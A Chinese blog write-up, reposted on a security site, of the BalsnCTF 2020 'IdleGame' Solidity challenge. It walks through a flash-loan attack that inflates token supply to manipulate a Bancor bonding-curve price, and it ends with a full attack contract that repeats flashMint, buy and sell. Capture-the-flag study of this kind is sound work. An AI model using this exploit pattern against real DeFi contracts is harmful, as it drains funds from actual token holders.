区块链学习笔记之BalsnCTF 2020 IdleGame

admin 2024年8月24日23:30:47评论9 views字数 5364阅读17分52秒阅读模式

这道题的代码还蛮多的,为了不太占篇幅,于是把相关代码塞到仓库里了。

首先看到解题条件叭

12345678910111213141516171819
contract Setup {    uint randomNumber = RN;    bool public sendFlag = false;    BalsnToken public BSN;   IdleGame public IDL;    constructor() public {        uint initialValue = 15000000 * (10 ** 18);        BSN = new BalsnToken(initialValue);       IDL = new IdleGame(address(BSN), 999000);        BSN.approve(address(IDL), uint(-1));        IDL.buyGamePoints(initialValue);   }    function giveMeFlag() public {        require(msg.sender == address(IDL), "Setup: sender incorrect");        sendFlag = true;    }}

只有IDL才能调用giveMeFlag(),那么看到IDL的合约,有一个

12345
function giveMeFlag() public {    _burn(msg.sender, (10 ** 8) * scale);   // pass this    Setup(owner).giveMeFlag();  // hit here    emit SendFlag(msg.sender);}

IDL本身是一个继承ERC20的代币合约,也就是我们需要拥有(10 ** 8) * scale 个 IDL代币 (scale的值是10^18)

那看看哪里能搞到币。

123456789101112131415
function buyGamePoints(uint amount) public returns (uint) {    uint bought = _continuousMint(amount);    BSN.transferFrom(msg.sender, address(this), amount);    _mint(msg.sender, bought);   emit BuyGamePoints(msg.sender, amount, bought);   return bought;}function sellGamePoints(uint amount) public returns (uint) {    uint bought = _continuousBurn(amount);    _burn(msg.sender, amount);    BSN.transfer(msg.sender, bought);   emit SellGamePoints(msg.sender, bought, amount);    return bought;}

可以看到这里有buyGamePoints 和 sellGamePoints函数,直觉上来说,这里会不会有一种赚差价的方式,让钱生钱,利滚利。那初始资金呢哪儿来呢?可以注意到这里的买卖还用了另外一个代币BSN,看到BSN的合约

1234567891011121314
contract BalsnToken is ERC20 {    uint randomNumber = RN;    address public owner;    constructor(uint initialValue) public ERC20("BalsnToken", "BSN") {        owner = msg.sender;        _mint(msg.sender, initialValue);    }    function giveMeMoney() public {        require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");        _mint(msg.sender, 1);    }}

有一个giveMeMoney,如果你没钱,就会给你一块BSN。

这个时候就有一个想法,我们是不是可以领一块BSN,然后拿去买IDL。那么需要想办法看看一块BSN能买多少个IDL。

重新回到上面的 buyGamePoints 函数,里头有一个 uint bought = _continuousMint(amount);,这个amount是BSN的值,bought是可以买到的IDL,那么显然这个_continuousMint 是一个类似于汇率的东西。跟踪到 ContinuousToken 的合约代码,在Tokens.sol里,

123456789101112131415
function calculateContinuousMintReturn(uint _amount) public view returns (uint mintAmount) {    return BBC.calculatePurchaseReturn(totalSupply(), reserveBalance, reserveRatio, _amount);}function calculateContinuousBurnReturn(uint _amount) public view returns (uint burnAmount) {    return BBC.calculateSaleReturn(totalSupply(), reserveBalance, reserveRatio, _amount);}function _continuousMint(uint _deposit) internal returns (uint) {    require(_deposit > 0, "ContinuousToken: Deposit must be non-zero.");    uint amount = calculateContinuousMintReturn(_deposit);    reserveBalance = reserveBalance.add(_deposit);    emit ContinuousMint(msg.sender, amount, _deposit);    return amount;}

_continuousMint -> calculateContinuousMintReturn -> BBC.calculatePurchaseReturn(totalSupply(), reserveBalance, reserveRatio, _amount);

这个BBC是啥,可以看到上面,

BancorBondingCurve public constant BBC = BancorBondingCurve(0xF88212805fE6e37181DE56440CF350817FF87130);

好像是条曲线。去到这个地址发现是提供源码的,就是文件夹里的BBC.sol。挺长的,不是很能看懂规则。

既然详细的规则看不懂,我们直接部署看结果好了。

首先部署BBC.sol,然后拿到BBC的地址,把Tokens里的地址替换调,然后部署Setup,通过Setup拿到IDL的地址,用地址获取IDL的合约实例

区块链学习笔记之BalsnCTF 2020 IdleGame

部署完了会有这样三个实例,我们直接调用IDL的 calculateContinuousMintReturn 函数

区块链学习笔记之BalsnCTF 2020 IdleGame

发现一个BSN能换36192100个IDL,还是挺多的?但是计算一下,以这个价格至少需要414455088265118631个BSN,而且还是没考虑货币增值的情况。一个很直观的认知应该是,买的越多,这个东西就变得越贵。我们看到Setup合约的构造函数中有

1234567
constructor() public {    uint initialValue = 15000000 * (10 ** 18);    BSN = new BalsnToken(initialValue);    IDL = new IdleGame(address(BSN), 999000);    BSN.approve(address(IDL), uint(-1));    IDL.buyGamePoints(initialValue);}

BSN买了 15000000 * (10 ** 18) 个IDL,所以有了这么个价格,那么我们把这个值改的小一点,看看这个价格会是多少。

当改成IDL.buyGamePoints(15000000);

区块链学习笔记之BalsnCTF 2020 IdleGame

一个BSN能买37933028个IDL。果然是变便宜了。所以我们的认知还是比较正确的。(但是知道了这个结果有什么用的。不过是更加说明了我们嫖一个BSN,拿去买IDL,再嫖,再买的方式的行不通罢了)

回到最初的想法,我们找找是否有一个买卖赚差价的方式。也就是在一买和一卖之间,我们的BSN有增值,或者IDL有贬值。

我们知道,IDL被买的越多,就越贵,所以能不能在我们买入IDL的时候,有别人大量的抛售IDL呢?但是持有IDL的别人只有BSN这个合约,我们又没法去控制它。但除了抛出IDL会让货币贬值,另一个让货币贬值的方式,就是货币的增发。(所谓通货膨胀)那如何让货币增发呢?注意到IDL还是一个闪电贷(FlashERC20 )的代币。

12345678910
contract FlashERC20 is ERC20 {    event FlashMint(address to, uint amount);    function flashMint(uint amount) external {        _mint(msg.sender, amount);        IBorrower(msg.sender).executeOnFlashMint(amount);        _burn(msg.sender, amount);        emit FlashMint(msg.sender, amount);    }}

可以看到,我们走一波闪电贷的时候,他会向我的账户直接增发amount个代币,然后执行我们的一个executeOnFlashMint(amount)方法,然后销毁。而这个增发,会不会真的如我们所想影响代币的价值呢?我们继续测,我们手动给这个FlashERC20加一个mint 和 burn方法,其实就是把flashMint的操作给拆分了。好让我们有时间去手动查看汇率。

1234567
function Mint(uint amount) external {    _mint(msg.sender, amount);}function Burn(uint amount) external {    _burn(msg.sender, amount);}

我们就给自己先增发个15000000 * (10 ** 18)个代币看看,然后看看汇率

区块链学习笔记之BalsnCTF 2020 IdleGame

可以发现这个汇率已经起飞了。然后把增发的burn掉,汇率又回去了。

所以思路就很清楚了。

  1. 我们调用闪电贷,先获取大额的IDL代币
  2. 闪电贷会调用我们的一个executeOnFlashMint(amount)方法,我们就用这个方法领一个BSN,然后去买到特别多的IDL代币
  3. 闪电贷结束,大额的IDL代币被销毁,汇率回归,我们把手里的IDL代币全抛了换回BSN

这样一次下来我们应该就能赚到不少的BSN,多搞几次,手里的BSN就是呈指数型增长。最后IDL够了,就可以获取flag了。

攻击合约(zbr的)

12345678910111213141516171819202122232425262728293031323334353637
pragma solidity =0.5.17;contract hack{    address  public IDLE=0xEC3c9230499a3FA960Ee28f7D2c0Ee3AD4AeBb07;    address  public BALN=0x80922Db6752eCe1C2DeFA54Beb8FB984E649308B;    uint public myIDLE;    uint public temp;    uint public loan=99056419041694676677800000000000000002;    bool public first;    IdleGame IDL=IdleGame(IDLE);    BalsnToken BSL=BalsnToken(BALN);    uint public boo;    function exp()public{        BSL.approve(IDLE,uint(-1));        BSL.giveMeMoney();        IDL.flashMint(loan);        temp=IDL.sellGamePoints(myIDLE);        IDL.flashMint(loan);        temp=IDL.sellGamePoints(myIDLE);        IDL.flashMint(loan);        temp=IDL.sellGamePoints(myIDLE);        IDL.flashMint(loan);        IDL.giveMeFlag();    }    function executeOnFlashMint(uint amount) external{        if(first==false)        {            myIDLE=IDL.buyGamePoints(1);            first=true;        }        else{            myIDLE=IDL.buyGamePoints(temp);        }    }}

区块链学习笔记之BalsnCTF 2020 IdleGame区块链学习笔记之BalsnCTF 2020 IdleGame

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月24日23:30:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链学习笔记之BalsnCTF 2020 IdleGamehttps://cn-sec.com/archives/3093583.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息